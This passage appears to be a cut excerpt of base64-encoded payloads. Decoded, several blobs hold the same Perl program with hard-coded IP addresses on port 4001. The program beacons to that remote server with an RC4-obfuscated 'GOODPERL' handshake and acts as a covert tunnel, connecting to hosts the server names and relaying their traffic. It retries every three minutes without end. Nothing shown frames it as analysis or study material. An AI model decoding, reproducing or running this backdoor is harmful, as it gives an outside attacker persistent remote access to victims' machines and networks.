CAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCS